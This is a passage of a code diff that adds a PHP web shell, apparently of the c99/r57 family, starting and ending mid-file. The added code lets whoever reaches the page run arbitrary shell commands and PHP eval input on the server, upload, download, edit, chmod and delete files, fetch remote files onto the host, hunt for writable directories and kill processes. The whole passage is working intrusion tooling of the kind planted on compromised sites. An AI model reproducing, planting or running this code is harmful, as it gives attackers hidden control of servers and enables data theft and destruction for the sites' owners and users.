checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>"; + } + else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else { + echo "<table><tr><td colspan=2 class=barheader>". + ".: File Upload :.</td>". + "<td colspan=2>".$uploadmess."</td></tr>". + "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>". + "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>". + "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>". + "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>". + "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>". + "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Upload\">". + "</form></td></tr></table>"; + } +} +if ($act == "delete") { + $delerr = ""; + foreach ($actbox as $v) { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; } + } + if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; } + $act = "ls"; +} +if (!$usefsbuff) { + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) { + echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>"; + } +} +else { + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); tp_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); tp_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} tp_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); tp_sess_put($sess_data);} + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + tp_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = tpexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + tp_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + tp_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "<div class=barheader>.: Results of Execution :.</div>\n"; + $olddir = realpath("."); + @chdir($d); + $ret = tpexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\n",$ret))+1; + if ($rows < 10) { $rows = 10; } else { $rows = 30; } + $cols = 130; + echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n"; + //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>"; + } + else { echo $ret."<br>"; } + @chdir($olddir); + } +} +if ($act == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";} + else { + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Date Modified</b>"; + if (!$win) {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; tpshexit();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + else { + $type = "DIR"; + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = @date("d.m.Y H:i:s",$a[2]); + if (!$win) { $row[] = $a[3]; } + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<div class=barheader>.: "; + if (!empty($fx_infohead)) { echo $fx_infohead; } + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " :.</div>\n"; + echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">". + "<table class=explorer>"; + foreach($table as $row) { + echo "<tr>"; + foreach($row as $v) {echo "<td>".$v."</td>";} + echo "</tr>\r\n"; + } + echo "</table>". + "<script>". + "function ls_setcheckboxall(status) {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }". + "}". + "function ls_reverse_all() {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }". + "}". + "</script>". + "<div align=\"right\">". + "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">". + "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>"; + echo "</form>"; + } +} + +if ($act == "phpfsys") { + echo "<div align=left>"; + $fsfunc = $phpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; } + } + elseif ($fsfunc=="read") { + $darg = $d.$arg1; + if ($hasil = @file_get_contents($darg)) { + echo "<b>Filename:</b> ".$darg."<br>"; + echo "<center><textarea cols=135 rows=30>"; + echo htmlentities($hasil); + echo "</textarea></center>\n"; + } + else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; } + } + elseif ($fsfunc=="write") { + $darg = $d.$arg1; + if(@file_put_contents($darg,$arg2)) { + echo "<b>Saved!</b> ".$darg; + } + else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; } + fclose($r); + } + else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); } + else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);} + } + else { echo "Can't create current dir:<b> $thedir</b>"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + if (is_dir($arg1)) { + echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>"; + echo "<pre>"; + recurse_dir($arg1,$arg2); + echo "</pre>"; + $total = $dir_count - 1; + echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2"; + } + else { + echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>"; + } + } + else { + if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "<b>Result of $fsfunc $arg1:</b><br>"; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "<pre>"; + foreach ($hasil as $v) { echo $v."\n"; } + echo "</pre>"; + } + } + else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; } + } + } + echo "</div>\n"; +} +if ($act == "processes") { + echo "<div class=barheader>.: Processes :.</div>\n"; + if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = tpexec($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($processes_sort)) { $processes_sort = $sort_default; } + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; + } + else { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>"; + } + $ret = htmlspecialchars($ret); + if (!$win) { //Not Windows + if ($pid) { + if (is_null($sig)) { $sig = 9; } + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; } + } + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) { + if ($i != $k) { + $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>"; + } + } + $head[$i] = ""; + $prcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; } + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + } + } + } + + else { + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); } + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; } + else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) { + if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; } + } + $prcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $prcs[] = $line; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); } + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<table class=explorer>\n"; + foreach($tab as $i=>$k) { + echo "<tr>"; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) { $v = view_size($v); } + echo "<td>".$v."</td>"; + } + echo "</tr>\n"; + } + echo "</table>"; + } +} +if ($act == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:<br>"; + $tmp = @ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + @ob_clean(); + eval($eval); + $ret = @ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + @ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else { + if ($eval_txt) { + echo "<br><textarea cols=\"115\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") { + echo "<div align=left>"; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>"; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + echo "<table border=1 bgcolor=#666666>". + "<tr><td bgcolor=#666666>".$a0."</td>". + "<td bgcolor=#000000>".$a1."</td>". + "<td bgcolor=#000000>".$a2."</td>". + "</tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 